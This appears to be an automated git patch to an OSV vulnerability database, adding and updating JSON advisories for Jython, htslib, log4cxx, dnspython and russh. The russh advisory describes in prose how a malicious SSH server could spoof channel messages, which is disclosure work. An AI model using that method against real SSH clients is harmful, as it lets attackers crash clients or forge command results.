From 8a2c5b2e77231b3cdfc2a3878072ac806914d9ca Mon Sep 17 00:00:00 2001 From: Vulnerability Bot Date: Thu, 12 Nov 2026 13:43:58 +0100 Subject: [PATCH] vuln-osv update 2026-11-12T12:43:53Z --- data/Maven/GHSA-6r7r-jj8h-pq6v.json | 2 +- data/OSS-Fuzz/OSV-2026-1512.json | 1 + data/OSS-Fuzz/OSV-2026-1528.json | 1 + data/PyPI/GHSA-45c3-73f7-pv4m.json | 2 +- data/crates.io/GHSA-47hw-gvq5-r2gm.json | 2 +- data/crates.io/GHSA-4r3c-5hpg-58qr.json | 2 +- data/crates.io/GHSA-f5v4-2wr6-hqmg.json | 2 +- data/crates.io/GHSA-vgvv-x7xg-6cqg.json | 2 +- data/crates.io/GHSA-vp5q-ff62-jwqv.json | 2 +- data/crates.io/GHSA-wwx6-x28x-8259.json | 2 +- data/crates.io/RUSTSEC-2024-0450.json | 1 + data/crates.io/RUSTSEC-2026-0459.json | 2 +- data/crates.io/RUSTSEC-2026-0487.json | 2 +- data/crates.io/RUSTSEC-2026-0488.json | 2 +- data/crates.io/RUSTSEC-2026-0489.json | 2 +- data/crates.io/RUSTSEC-2026-0490.json | 2 +- data/crates.io/RUSTSEC-2026-0491.json | 2 +- data/crates.io/RUSTSEC-2026-0492.json | 1 + data/crates.io/RUSTSEC-2026-0493.json | 1 + data/crates.io/RUSTSEC-2026-0494.json | 1 + data/crates.io/RUSTSEC-2026-0495.json | 1 + data/crates.io/RUSTSEC-2026-0496.json | 1 + data/crates.io/RUSTSEC-2026-0497.json | 1 + data/crates.io/RUSTSEC-2026-0498.json | 1 + data/crates.io/RUSTSEC-2026-0499.json | 1 + data/crates.io/RUSTSEC-2026-0500.json | 1 + data/crates.io/RUSTSEC-2026-0501.json | 1 + data/crates.io/RUSTSEC-2026-0502.json | 1 + data/crates.io/RUSTSEC-2026-0503.json | 1 + data/npm/MAL-2026-19118.json | 2 +- data/npm/MAL-2026-19153.json | 1 + state/sync.json | 36 ++++++++++++------------- 32 files changed, 49 insertions(+), 33 deletions(-) create mode 100644 data/OSS-Fuzz/OSV-2026-1512.json create mode 100644 data/OSS-Fuzz/OSV-2026-1528.json create mode 100644 data/crates.io/RUSTSEC-2024-0450.json create mode 100644 data/crates.io/RUSTSEC-2026-0492.json create mode 100644 data/crates.io/RUSTSEC-2026-0493.json create mode 100644 data/crates.io/RUSTSEC-2026-0494.json create mode 100644 data/crates.io/RUSTSEC-2026-0495.json create mode 100644 data/crates.io/RUSTSEC-2026-0496.json create mode 100644 data/crates.io/RUSTSEC-2026-0497.json create mode 100644 data/crates.io/RUSTSEC-2026-0498.json create mode 100644 data/crates.io/RUSTSEC-2026-0499.json create mode 100644 data/crates.io/RUSTSEC-2026-0500.json create mode 100644 data/crates.io/RUSTSEC-2026-0501.json create mode 100644 data/crates.io/RUSTSEC-2026-0502.json create mode 100644 data/crates.io/RUSTSEC-2026-0503.json create mode 100644 data/npm/MAL-2026-19153.json diff --git a/data/Maven/GHSA-6r7r-jj8h-pq6v.json b/data/Maven/GHSA-6r7r-jj8h-pq6v.json index fa3d243f19..7dae0f7727 100644 --- a/data/Maven/GHSA-6r7r-jj8h-pq6v.json +++ b/data/Maven/GHSA-6r7r-jj8h-pq6v.json @@ -1 +1 @@ -{"schema_version":"1.9.0","id":"GHSA-6r7r-jj8h-pq6v","published":"2022-05-13T01:25:20Z","modified":"2026-07-02T21:30:14.977702697Z","aliases":["CVE-2016-4000"],"summary":"Deserialization of Untrusted Data in Jython","details":"Jython before 2.7.1b3 allows attackers to execute arbitrary code via a crafted serialized PyFunction object.","affected":[{"package":{"name":"org.python:jython-standalone","ecosystem":"Maven","purl":"pkg:maven/org.python/jython-standalone"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.7.1b3"}]}],"versions":["2.5.1","2.5.2","2.5.3","2.5.3-rc1","2.5.4-rc1","2.7-b1","2.7-b2","2.7-b3","2.7-b4","2.7-rc1","2.7-rc2","2.7-rc3","2.7.0","2.7.1b1","2.7.1b2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2022/05/GHSA-6r7r-jj8h-pq6v/GHSA-6r7r-jj8h-pq6v.json"}},{"package":{"name":"org.python:jython","ecosystem":"Maven","purl":"pkg:maven/org.python/jython"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.7.1b3"}]}],"versions":["2.2","2.2-beta1","2.2-beta2","2.2-rc1","2.2-rc3","2.2.1","2.5.0","2.5.3","2.5.3-rc1","2.5.4-rc1","2.7-b1","2.7-b2","2.7-b3","2.7-b4","2.7-rc1","2.7-rc2","2.7-rc3","2.7.0","2.7.1b1","2.7.1b2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2022/05/GHSA-6r7r-jj8h-pq6v/GHSA-6r7r-jj8h-pq6v.json"}}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2016-4000"},{"type":"WEB","url":"https://github.com/jython/jython/commit/ee4200fdd5385d3f74a5cf1a781fa52d33bbb274"},{"type":"WEB","url":"https://www.oracle.com/technetwork/security-advisory/cpuoct2019-5072832.html"},{"type":"WEB","url":"https://www.oracle.com/technetwork/security-advisory/cpujan2019-5072801.html"},{"type":"WEB","url":"https://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.html"},{"type":"WEB","url":"https://www.oracle.com/security-alerts/cpujul2020.html"},{"type":"WEB","url":"https://www.oracle.com/security-alerts/cpujan2020.html"},{"type":"WEB","url":"https://www.oracle.com/security-alerts/cpuapr2020.html"},{"type":"WEB","url":"https://snyk.io/vuln/SNYK-JAVA-ORGPYTHON-31451"},{"type":"WEB","url":"https://security.gentoo.org/glsa/201710-28"},{"type":"WEB","url":"https://security-tracker.debian.org/tracker/CVE-2016-4000"},{"type":"WEB","url":"https://lists.apache.org/thread.html/0919ec1db20b1022f22b8e78f355667df74d6142b463ff17d03ad533@%3Cdevnull.infra.apache.org%3E"},{"type":"WEB","url":"https://hg.python.org/jython/rev/d06e29d100c0"},{"type":"WEB","url":"https://hg.python.org/jython/file/v2.7.1rc1/NEWS"},{"type":"PACKAGE","url":"https://github.com/jython/jython"},{"type":"WEB","url":"https://bugs.jython.org/issue2454"},{"type":"WEB","url":"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=864859"},{"type":"WEB","url":"http://bugs.jython.org/issue2454"},{"type":"WEB","url":"http://www.debian.org/security/2017/dsa-3893"},{"type":"WEB","url":"http://www.oracle.com/technetwork/security-advisory/cpuoct2018-4428296.html"}],"database_specific":{"cwe_ids":["CWE-502"],"github_reviewed":true,"github_reviewed_at":"2022-07-06T19:55:30Z","nvd_published_at":"2017-07-06T16:29:00Z","severity":"CRITICAL"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}]} \ No newline at end of file +{"schema_version":"1.9.0","id":"GHSA-6r7r-jj8h-pq6v","published":"2022-05-13T01:25:20Z","modified":"2026-11-12T10:55:58.372329472Z","aliases":["CVE-2016-4000","SNYK-JAVA-ORGPYTHON-31451"],"summary":"Deserialization of Untrusted Data in Jython","details":"Jython before 2.7.1b3 allows attackers to execute arbitrary code via a crafted serialized PyFunction object.","affected":[{"package":{"name":"org.python:jython-standalone","ecosystem":"Maven","purl":"pkg:maven/org.python/jython-standalone"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.7.1b3"}]}],"versions":["2.5.1","2.5.2","2.5.3","2.5.3-rc1","2.5.4-rc1","2.7-b1","2.7-b2","2.7-b3","2.7-b4","2.7-rc1","2.7-rc2","2.7-rc3","2.7.0","2.7.1b1","2.7.1b2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2022/05/GHSA-6r7r-jj8h-pq6v/GHSA-6r7r-jj8h-pq6v.json"}},{"package":{"name":"org.python:jython","ecosystem":"Maven","purl":"pkg:maven/org.python/jython"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.7.1b3"}]}],"versions":["2.2","2.2-beta1","2.2-beta2","2.2-rc1","2.2-rc3","2.2.1","2.5.0","2.5.3","2.5.3-rc1","2.5.4-rc1","2.7-b1","2.7-b2","2.7-b3","2.7-b4","2.7-rc1","2.7-rc2","2.7-rc3","2.7.0","2.7.1b1","2.7.1b2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2022/05/GHSA-6r7r-jj8h-pq6v/GHSA-6r7r-jj8h-pq6v.json"}}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2016-4000"},{"type":"WEB","url":"https://github.com/jython/jython/commit/ee4200fdd5385d3f74a5cf1a781fa52d33bbb274"},{"type":"WEB","url":"https://www.oracle.com/technetwork/security-advisory/cpuoct2019-5072832.html"},{"type":"WEB","url":"https://www.oracle.com/technetwork/security-advisory/cpujan2019-5072801.html"},{"type":"WEB","url":"https://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.html"},{"type":"WEB","url":"https://www.oracle.com/security-alerts/cpujul2020.html"},{"type":"WEB","url":"https://www.oracle.com/security-alerts/cpujan2020.html"},{"type":"WEB","url":"https://www.oracle.com/security-alerts/cpuapr2020.html"},{"type":"WEB","url":"https://snyk.io/vuln/SNYK-JAVA-ORGPYTHON-31451"},{"type":"WEB","url":"https://security.gentoo.org/glsa/201710-28"},{"type":"WEB","url":"https://security-tracker.debian.org/tracker/CVE-2016-4000"},{"type":"WEB","url":"https://lists.apache.org/thread.html/0919ec1db20b1022f22b8e78f355667df74d6142b463ff17d03ad533@%3Cdevnull.infra.apache.org%3E"},{"type":"WEB","url":"https://hg.python.org/jython/rev/d06e29d100c0"},{"type":"WEB","url":"https://hg.python.org/jython/file/v2.7.1rc1/NEWS"},{"type":"PACKAGE","url":"https://github.com/jython/jython"},{"type":"WEB","url":"https://bugs.jython.org/issue2454"},{"type":"WEB","url":"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=864859"},{"type":"WEB","url":"http://bugs.jython.org/issue2454"},{"type":"WEB","url":"http://www.debian.org/security/2017/dsa-3893"},{"type":"WEB","url":"http://www.oracle.com/technetwork/security-advisory/cpuoct2018-4428296.html"}],"database_specific":{"cwe_ids":["CWE-502"],"github_reviewed":true,"github_reviewed_at":"2022-07-06T19:55:30Z","nvd_published_at":"2017-07-06T16:29:00Z","severity":"CRITICAL"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}]} \ No newline at end of file diff --git a/data/OSS-Fuzz/OSV-2026-1512.json b/data/OSS-Fuzz/OSV-2026-1512.json new file mode 100644 index 0000000000..f562a74701 --- /dev/null +++ b/data/OSS-Fuzz/OSV-2026-1512.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"OSV-2026-1512","published":"2026-11-08T00:22:15.690048Z","modified":"2026-11-12T12:30:04.834347956Z","summary":"Heap-buffer-overflow in cram_encode_container","details":"OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=582906998\n\n```\nCrash type: Heap-buffer-overflow READ 1\nCrash state:\ncram_encode_container\ncram_flush_container_mt\ncram_put_bam_seq\n```\n","affected":[{"package":{"name":"htslib","ecosystem":"OSS-Fuzz","purl":"pkg:generic/htslib"},"ranges":[{"type":"GIT","repo":"https://github.com/samtools/htslib.git","events":[{"introduced":"843ca7f53fad9538fe46df2c9d5a503b6b7afbaa"},{"fixed":"711871ab53f8133115dceed997d11f481c024e0a"},{"introduced":"6ff2e25c36e82fd9194702270bca322d321e1397"}]}],"versions":["1.21.1","1.21.2","1.21.3","1.22.1","1.22.2","1.22.3","1.22.4","1.23","1.23.1","1.23.2","1.23.3","1.24","1.24.1","1.25"],"ecosystem_specific":{"severity":"MEDIUM"},"database_specific":{"introduced_range":"09c89d8f12b8367a5b869b563f5ae6f0888fb0f3:6a399ca07a0d6bb435676c68689ba361d592ebc9","source":"https://github.com/google/oss-fuzz-vulns/blob/main/vulns/htslib/OSV-2026-1512.yaml"}}],"references":[{"type":"REPORT","url":"https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=582906998"}]} \ No newline at end of file diff --git a/data/OSS-Fuzz/OSV-2026-1528.json b/data/OSS-Fuzz/OSV-2026-1528.json new file mode 100644 index 0000000000..bef58108cc --- /dev/null +++ b/data/OSS-Fuzz/OSV-2026-1528.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"OSV-2026-1528","published":"2026-11-11T00:08:27.242557Z","modified":"2026-11-12T12:30:02.966858121Z","summary":"Heap-use-after-free in log4cxx::helpers::InetAddress::toString","details":"OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=583622276\n\n```\nCrash type: Heap-use-after-free READ 8\nCrash state:\nlog4cxx::helpers::InetAddress::toString\nlog4cxx::net::SocketAppenderSkeleton::SocketAppenderSkeletonPriv::retryConnect\nlog4cxx::helpers::ThreadUtility::priv_data::doPeriodicTasks\n```\n","affected":[{"package":{"name":"apache-logging-log4cxx","ecosystem":"OSS-Fuzz","purl":"pkg:generic/apache-logging-log4cxx"},"ranges":[{"type":"GIT","repo":"https://github.com/apache/logging-log4cxx","events":[{"introduced":"8043e4cf96fff4a24b84dbeaf3bd6aa6a4274d97"},{"fixed":"ffaa9c419602768bf2bec8c85af325792a4d1b43"}]}],"ecosystem_specific":{"severity":"HIGH"},"database_specific":{"fixed_range":"4bc69bbdb67f07d67bbd6f71d4f57ecced36d1b9:ffaa9c419602768bf2bec8c85af325792a4d1b43","introduced_range":"facd4f4348f71c9fb44aa98f54ae8db74ff32eed:cf66bb631d291059c3611a1b9af79f75a2b50b35","source":"https://github.com/google/oss-fuzz-vulns/blob/main/vulns/apache-logging-log4cxx/OSV-2026-1528.yaml"}}],"references":[{"type":"REPORT","url":"https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=583622276"}]} \ No newline at end of file diff --git a/data/PyPI/GHSA-45c3-73f7-pv4m.json b/data/PyPI/GHSA-45c3-73f7-pv4m.json index ab82b36ef3..9b98b38e54 100644 --- a/data/PyPI/GHSA-45c3-73f7-pv4m.json +++ b/data/PyPI/GHSA-45c3-73f7-pv4m.json @@ -1 +1 @@ -{"schema_version":"1.9.2","id":"GHSA-45c3-73f7-pv4m","published":"2026-10-27T15:37:37Z","modified":"2026-10-27T15:47:24.143338210Z","aliases":["CVE-2026-114605"],"summary":"dnspython dns.name.from_wire_parser() excessive CPU use","details":"### Impact\nA maliciously crafted DNS message may cause dns.name.from_wire_parser() to use excessive CPU for DNS name decompression. Applications that process untrusted DNS wire form messages with dnspython may be degraded or DoS'd by the extra CPU use required.\n\n### Patches\nThis problem is fixed in dnspython 2.9.0.\n\n### Workarounds\nThere are no known workarounds.\n\n### Credit\nEvgenios Gkritsis, Department of Informatics, University of Piraeus & Athena Research Center, Greece\nConstantinos Patsakis, Department of Informatics, University of Piraeus & Athena Research Center, Greece\nGeorge Stergiopoulos, Department of Informatics, Athens University of Economics and Business, Greece","affected":[{"package":{"name":"dnspython","ecosystem":"PyPI","purl":"pkg:pypi/dnspython"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.9.0"}]}],"versions":["1.0.0","1.1.0","1.10.0","1.11.0","1.11.1","1.12.0","1.13.0","1.14.0","1.15.0","1.16.0","1.2.0","1.3.0","1.3.1","1.3.2","1.3.3","1.3.4","1.3.5","1.4.0","1.5.0","1.6.0","1.7.1","1.8.0","1.9.0","1.9.1","1.9.2","1.9.3","1.9.4","2.0.0","2.0.0rc1","2.0.0rc2","2.1.0","2.1.0rc1","2.2.0","2.2.0rc1","2.2.1","2.3.0","2.3.0rc1","2.4.0","2.4.0rc1","2.4.1","2.4.2","2.5.0","2.5.0rc1","2.6.0","2.6.0rc1","2.6.1","2.7.0","2.7.0rc1","2.8.0","2.8.0rc1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-45c3-73f7-pv4m/GHSA-45c3-73f7-pv4m.json"}}],"references":[{"type":"WEB","url":"https://github.com/rthalley/dnspython/security/advisories/GHSA-45c3-73f7-pv4m"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114605"},{"type":"WEB","url":"https://github.com/rthalley/dnspython/commit/b485e460c266540a1a09ca6d8d1d7b685b1d3023"},{"type":"PACKAGE","url":"https://github.com/rthalley/dnspython"},{"type":"WEB","url":"https://github.com/rthalley/dnspython/releases/tag/v2.9.0"}],"database_specific":{"cwe_ids":["CWE-674"],"github_reviewed":true,"github_reviewed_at":"2026-10-27T15:37:37Z","nvd_published_at":"2026-10-22T17:16:58Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]} \ No newline at end of file +{"schema_version":"1.9.2","id":"GHSA-45c3-73f7-pv4m","published":"2026-10-27T15:37:37Z","modified":"2026-11-12T06:45:04.187278145Z","aliases":["CVE-2026-114605"],"summary":"dnspython dns.name.from_wire_parser() excessive CPU use","details":"### Impact\nA maliciously crafted DNS message may cause dns.name.from_wire_parser() to use excessive CPU for DNS name decompression. Applications that process untrusted DNS wire form messages with dnspython may be degraded or DoS'd by the extra CPU use required.\n\n### Patches\nThis problem is fixed in dnspython 2.9.0.\n\n### Workarounds\nThere are no known workarounds.\n\n### Credit\nEvgenios Gkritsis, Department of Informatics, University of Piraeus & Athena Research Center, Greece\nConstantinos Patsakis, Department of Informatics, University of Piraeus & Athena Research Center, Greece\nGeorge Stergiopoulos, Department of Informatics, Athens University of Economics and Business, Greece","affected":[{"package":{"name":"dnspython","ecosystem":"PyPI","purl":"pkg:pypi/dnspython"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.9.0"}]}],"versions":["1.0.0","1.1.0","1.10.0","1.11.0","1.11.1","1.12.0","1.13.0","1.14.0","1.15.0","1.16.0","1.2.0","1.3.0","1.3.1","1.3.2","1.3.3","1.3.4","1.3.5","1.4.0","1.5.0","1.6.0","1.7.1","1.8.0","1.9.0","1.9.1","1.9.2","1.9.3","1.9.4","2.0.0","2.0.0rc1","2.0.0rc2","2.1.0","2.1.0rc1","2.2.0","2.2.0rc1","2.2.1","2.3.0","2.3.0rc1","2.4.0","2.4.0rc1","2.4.1","2.4.2","2.5.0","2.5.0rc1","2.6.0","2.6.0rc1","2.6.1","2.7.0","2.7.0rc1","2.8.0","2.8.0rc1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-45c3-73f7-pv4m/GHSA-45c3-73f7-pv4m.json"}}],"references":[{"type":"WEB","url":"https://github.com/rthalley/dnspython/security/advisories/GHSA-45c3-73f7-pv4m"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114605"},{"type":"WEB","url":"https://github.com/rthalley/dnspython/commit/b485e460c266540a1a09ca6d8d1d7b685b1d3023"},{"type":"PACKAGE","url":"https://github.com/rthalley/dnspython"},{"type":"WEB","url":"https://github.com/rthalley/dnspython/releases/tag/v2.9.0"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2026/11/msg00017.html"}],"database_specific":{"cwe_ids":["CWE-674"],"github_reviewed":true,"github_reviewed_at":"2026-10-27T15:37:37Z","nvd_published_at":"2026-10-22T17:16:58Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]} \ No newline at end of file diff --git a/data/crates.io/GHSA-47hw-gvq5-r2gm.json b/data/crates.io/GHSA-47hw-gvq5-r2gm.json index 3336243c1d..09861cd83e 100644 --- a/data/crates.io/GHSA-47hw-gvq5-r2gm.json +++ b/data/crates.io/GHSA-47hw-gvq5-r2gm.json @@ -1 +1 @@ -{"schema_version":"1.9.0","id":"GHSA-47hw-gvq5-r2gm","published":"2026-09-30T23:27:17Z","modified":"2026-09-30T23:45:04.016651269Z","aliases":["CVE-2026-102823"],"summary":"russh: Client-side channel-scoped Handler callbacks fire for channel IDs the client never opened","details":"### Summary\nCVE-2026-68930 was fixed by adding `Session::is_established_channel()` in `russh/src/server/encrypted.rs`, which gates every channel-scoped SERVER-side message (CHANNEL_REQUEST, CHANNEL_DATA, CHANNEL_EOF, CHANNEL_CLOSE, CHANNEL_WINDOW_ADJUST, CHANNEL_EXTENDED_DATA) on `enc.channels.get(&channel).is_some_and(|c| c.confirmed)` before invoking any `Handler` callback. The identical validation was never added to the CLIENT side (`russh/src/client/encrypted.rs`), which processes channel-scoped messages sent by the SSH SERVER once the client has authenticated.\n\n### Details\nIn `client_read_authenticated` (`russh/src/client/encrypted.rs`, ~lines 431-757), for CHANNEL_DATA, CHANNEL_EXTENDED_DATA, CHANNEL_EOF, CHANNEL_CLOSE, CHANNEL_OPEN_FAILURE, CHANNEL_SUCCESS, CHANNEL_FAILURE, and the CHANNEL_REQUEST sub-types exit-status/exit-signal/xon-xoff, the code only optionally forwards the event to the internal per-channel mpsc sender via `if let Some(chan) = self.channels.get(&channel_num) { ... }` (a no-op if the channel is unknown), but then **unconditionally** calls the corresponding public `Handler` trait method (`client.data(...)`, `client.exit_status(...)`, `client.channel_close(...)`, `client.channel_success(...)`, etc.) regardless of whether `channel_num` corresponds to any channel the client ever opened or that was ever confirmed. Only CHANNEL_OPEN_CONFIRMATION (closes the connection with `Error::Inconsistent` if unknown) and CHANNEL_WINDOW_ADJUST (returns early with `Ok(())` if unknown) correctly validate channel existence before acting.\n\nCorroborating evidence this check was intended but never wired up: `crate::Error` defines a dedicated `WrongChannel` variant documented as \"Message received/sent on unopened channel\" (`russh/src/lib_inner.rs`, ~line 144-146), yet a repo-wide search shows this variant is never constructed or returned anywhere in the codebase — dead code left over from (or intended for) exactly this validation.\n\nBecause `Session::new_channel_id()` (`russh/src/session.rs`, ~line 708) allocates channel IDs sequentially starting at 1, a malicious or compromised SSH server can trivially predict the ID of the client's next channel and inject spoofed lifecycle events for it before or interleaved with the real channel-open exchange, or replay events for already-closed channel IDs.\n\n### PoC\nMany real-world consumers of russh-as-a-client (deployment/orchestration tools, CI runners connecting to build/bastion hosts, git-over-ssh style tooling, database/tunnel clients) implement the `client::Handler` trait directly and key their own state (e.g. `HashMap`, exit-code trackers, per-channel byte counters, completion futures) off the channel IDs the library hands them, trusting the documented contract that events like \"The remote process has exited\" (`exit_status`) or \"Called when the server closes a channel\" (`channel_close`) only fire for a channel the application itself opened.\n\nA malicious, MITM'd (via a compromised/rogue jump host the client is configured to trust), or simply hostile SSH server can send `SSH_MSG_CHANNEL_REQUEST` (exit-status/exit-signal), `SSH_MSG_CHANNEL_DATA`, `SSH_MSG_CHANNEL_CLOSE`, `SSH_MSG_CHANNEL_SUCCESS`/`FAILURE`, or `SSH_MSG_CHANNEL_OPEN_FAILURE` for an arbitrary/predicted/never-opened channel ID at any point after authentication completes. Because the library invokes the `Handler` callback unconditionally, this reaches application code with an ID it never registered.\n\n### Impact\n(1) A reliable, purely protocol-level trigger for an application panic/DoS in any client that indexes per-channel state by `ChannelId` without itself re-checking channel validity — the exact class of bug CVE-2026-68930 fixed server-side; and (2) lets the server spoof exit-status/exit-signal/close/success/failure notifications for a channel the client has not yet opened or has already released, desynchronizing the client's command-completion bookkeeping (e.g. reporting a forged exit code 0 for a not-yet-run remote command, or a premature `channel_close` before real output/exit-status has arrived) — a business-logic-level integrity violation of the SSH channel lifecycle that automation built on russh implicitly relies on.\n\nSuggested fix: add the same `is_established_channel()`-style gate already used in `server/encrypted.rs` to `client/encrypted.rs`'s `client_read_authenticated`, checking `self.channels.get(&channel_num)` before invoking any `Handler` callback (not just the mpsc forward), for every channel-scoped message type.\n\nFor credit/changelog purposes, please use: Yazan Balawneh, Cystack.ps","affected":[{"package":{"name":"russh","ecosystem":"crates.io","purl":"pkg:cargo/russh"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.63.1"}]}],"database_specific":{"last_known_affected_version_range":"<= 0.63.0","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-47hw-gvq5-r2gm/GHSA-47hw-gvq5-r2gm.json"}}],"references":[{"type":"WEB","url":"https://github.com/Eugeny/russh/security/advisories/GHSA-47hw-gvq5-r2gm"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102823"},{"type":"WEB","url":"https://github.com/Eugeny/russh/commit/3430fd26ecafc0dc3705210f5f39a9119fa22774"},{"type":"PACKAGE","url":"https://github.com/Eugeny/russh"},{"type":"WEB","url":"https://github.com/Eugeny/russh/releases/tag/v0.63.1"}],"database_specific":{"cwe_ids":["CWE-20"],"github_reviewed":true,"github_reviewed_at":"2026-09-30T23:27:17Z","nvd_published_at":"2026-09-29T19:17:24Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"}]} \ No newline at end of file +{"schema_version":"1.9.0","id":"GHSA-47hw-gvq5-r2gm","published":"2026-09-30T23:27:17Z","modified":"2026-11-12T08:11:07.434997782Z","aliases":["CVE-2026-102823","RUSTSEC-2026-0492"],"summary":"russh: Client-side channel-scoped Handler callbacks fire for channel IDs the client never opened","details":"### Summary\nCVE-2026-68930 was fixed by adding `Session::is_established_channel()` in `russh/src/server/encrypted.rs`, which gates every channel-scoped SERVER-side message (CHANNEL_REQUEST, CHANNEL_DATA, CHANNEL_EOF, CHANNEL_CLOSE, CHANNEL_WINDOW_ADJUST, CHANNEL_EXTENDED_DATA) on `enc.channels.get(&channel).is_some_and(|c| c.confirmed)` before invoking any `Handler` callback. The identical validation was never added to the CLIENT side (`russh/src/client/encrypted.rs`), which processes channel-scoped messages sent by the SSH SERVER once the client has authenticated.\n\n### Details\nIn `client_read_authenticated` (`russh/src/client/encrypted.rs`, ~lines 431-757), for CHANNEL_DATA, CHANNEL_EXTENDED_DATA, CHANNEL_EOF, CHANNEL_CLOSE, CHANNEL_OPEN_FAILURE, CHANNEL_SUCCESS, CHANNEL_FAILURE, and the CHANNEL_REQUEST sub-types exit-status/exit-signal/xon-xoff, the code only optionally forwards the event to the internal per-channel mpsc sender via `if let Some(chan) = self.channels.get(&channel_num) { ... }` (a no-op if the channel is unknown), but then **unconditionally** calls the corresponding public `Handler` trait method (`client.data(...)`, `client.exit_status(...)`, `client.channel_close(...)`, `client.channel_success(...)`, etc.) regardless of whether `channel_num` corresponds to any channel the client ever opened or that was ever confirmed. Only CHANNEL_OPEN_CONFIRMATION (closes the connection with `Error::Inconsistent` if unknown) and CHANNEL_WINDOW_ADJUST (returns early with `Ok(())` if unknown) correctly validate channel existence before acting.\n\nCorroborating evidence this check was intended but never wired up: `crate::Error` defines a dedicated `WrongChannel` variant documented as \"Message received/sent on unopened channel\" (`russh/src/lib_inner.rs`, ~line 144-146), yet a repo-wide search shows this variant is never constructed or returned anywhere in the codebase — dead code left over from (or intended for) exactly this validation.\n\nBecause `Session::new_channel_id()` (`russh/src/session.rs`, ~line 708) allocates channel IDs sequentially starting at 1, a malicious or compromised SSH server can trivially predict the ID of the client's next channel and inject spoofed lifecycle events for it before or interleaved with the real channel-open exchange, or replay events for already-closed channel IDs.\n\n### PoC\nMany real-world consumers of russh-as-a-client (deployment/orchestration tools, CI runners connecting to build/bastion hosts, git-over-ssh style tooling, database/tunnel clients) implement the `client::Handler` trait directly and key their own state (e.g. `HashMap`, exit-code trackers, per-channel byte counters, completion futures) off the channel IDs the library hands them, trusting the documented contract that events like \"The remote process has exited\" (`exit_status`) or \"Called when the server closes a channel\" (`channel_close`) only fire for a channel the application itself opened.\n\nA malicious, MITM'd (via a compromised/rogue jump host the client is configured to trust), or simply hostile SSH server can send `SSH_MSG_CHANNEL_REQUEST` (exit-status/exit-signal), `SSH_MSG_CHANNEL_DATA`, `SSH_MSG_CHANNEL_CLOSE`, `SSH_MSG_CHANNEL_SUCCESS`/`FAILURE`, or `SSH_MSG_CHANNEL_OPEN_FAILURE` for an arbitrary/predicted/never-opened channel ID at any point after authentication completes. Because the library invokes the `Handler` callback unconditionally, this reaches application code with an ID it never registered.\n\n### Impact\n(1) A reliable, purely protocol-level trigger for an application panic/DoS in any client that indexes per-channel state by `ChannelId` without itself re-checking channel validity — the exact class of bug CVE-2026-68930 fixed server-side; and (2) lets the server spoof exit-status/exit-signal/close/success/failure notifications for a channel the client has not yet opened or has already released, desynchronizing the client's command-completion bookkeeping (e.g. reporting a forged exit code 0 for a not-yet-run remote command, or a premature `channel_close` before real output/exit-status has arrived) — a business-logic-level integrity violation of the SSH channel lifecycle that automation built on russh implicitly relies on.\n\nSuggested fix: add the same `is_established_channel()`-style gate already used in `server/encrypted.rs` to `client/encrypted.rs`'s `client_read_authenticated`, checking `self.channels.get(&channel_num)` before invoking any `Handler` callback (not just the mpsc forward), for every channel-scoped message type.\n\nFor credit/changelog purposes, please use: Yazan Balawneh, Cystack.ps","affected":[{"package":{"name":"russh","ecosystem":"crates.io","purl":"pkg:cargo/russh"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.63.1"}]}],"database_specific":{"last_known_affected_version_range":"<= 